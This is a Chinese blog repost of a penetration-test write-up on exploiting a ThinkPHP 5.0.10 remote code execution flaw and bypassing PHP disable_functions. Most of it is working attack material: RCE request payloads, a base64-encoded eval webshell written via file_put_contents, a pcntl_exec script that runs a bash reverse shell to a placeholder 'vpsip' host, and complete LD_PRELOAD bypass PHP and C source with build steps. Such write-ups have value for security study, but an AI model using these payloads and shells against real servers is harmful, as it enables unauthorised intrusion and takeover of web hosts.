加入收藏 | 设为首页 | 会员中心 | 我要投稿 云计算网_宿迁站长网 (https://www.0527zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

一次项 目中Thinkphp绕过禁用函数的实际记录

发布时间:2023-02-02 11:22:51 所属栏目:PHP教程 来源:
导读:  前言
  在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray
  
  果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞
  
  直接使用命令执
  前言
  在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray
  
  果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞
  
  直接使用命令执行payload,结果报出system函数被禁用
  
  1
  s=whoami&_method=__construct&method=&filter[]=system
 
  尝试应用其他函数进行利用,经过测试发现call_user_func函数没有被禁用
  Payload
  
  1
  s=phpinfo&_method=__construct&method=get&filter[]=call_user_func
  可以看到哪些函数被禁用了

  看到assert和include没有被禁用,一开始想写shell进日志然后去利用文件包含,发现并没有任何反应,也不报错。

  file_put_contents
  又回去看被禁用的函数,发现文件函数没被禁用,可以用file_put_contents函数去写文件
  测试写入phpinfo文件
  
  1
  s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
  
  写入成功

  写入冰蝎马可以进行文件管理了

  虽然可以进行文件操作了,但还是没法执行命令

  pcntl_exec
  想到了比较容易被忽略的命令执行函数pcntl_exec,发现pcntl_exec函数没有被禁用,该函数可以指定一个程序来执行指定文件
  
  先写一个exe.php文件,在文件中指定pcntl_exec的参数(执行运行程序,运行指定文件)
  <?php
      switch (pcntl_fork()) {
          case 0:
              pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
              exit(0);
          default:
              break;
      }
  ?>
  exec.sh文件写入反弹命令
  
  1
  bash -i >& /dev/tcp/vpsip/7777 0>&1
  浏览器访问exe.php成功反弹shell
  
  
  
  
  LD_PRELOAD 劫持
  这次渗透是结束了,这里尝试了另外一种绕过方法,如果遇到pcntl_exec函数也被禁用的情况,可以利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。详细的原理介绍就不赘述了,可以参考这个大哥的文章https://www.meetsec.cn/index.php/archives/44/
  
  这种方法主要是需要上传一个.php和一个由.c程序编译得到共享对象.so文件到服务器
  
  bypass_disablefunc.php
  
  <?php
      echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
  
      $cmd = $_GET["cmd"];
      $out_path = $_GET["outpath"];
      $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
      echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
  
      putenv("EVIL_CMDLINE=" . $evil_cmdline);
  
      $so_path = $_GET["sopath"];
      putenv("LD_PRELOAD=" . $so_path);
  
      mail("", "", "", "");
  
      echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
  
      unlink($out_path);
  ?>
  bypass_disablefunc.php提供了三个参数:
  
  cmd 参数,待执行的系统命令(如 whoami)。
  outpath 参数,保存命令执行输出结果的文件路径(如 /www/wwwroot/public),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。
  sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /www/wwwroot/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它,最好也传到web根目录下。
  bypass_disablefunc.c
  
  #define _GNU_SOURCE
  
  #include <stdlib.h>
  #include <stdio.h>
  #include <string.h>
  
  
  extern char** environ;
  
  __attribute__ ((__constructor__)) void preload (void)
  {
      // get command line options and arg
      const char* cmdline = getenv("EVIL_CMDLINE");
  
      // unset environment variable LD_PRELOAD.
      // unsetenv("LD_PRELOAD") no effect on some
      // distribution (e.g., centos), I need crafty trick.
      int i;
      for (i = 0; environ[i]; ++i) {
              if (strstr(environ[i], "LD_PRELOAD")) {
                      environ[i][0] = '\0';
              }
      }
  
      // executive command
      system(cmdline);
  }
  这里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so将 bypass_disablefunc.c编译为共享对象 bypass_disablefunc_x64.so
  
  要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。
 

(编辑:云计算网_宿迁站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!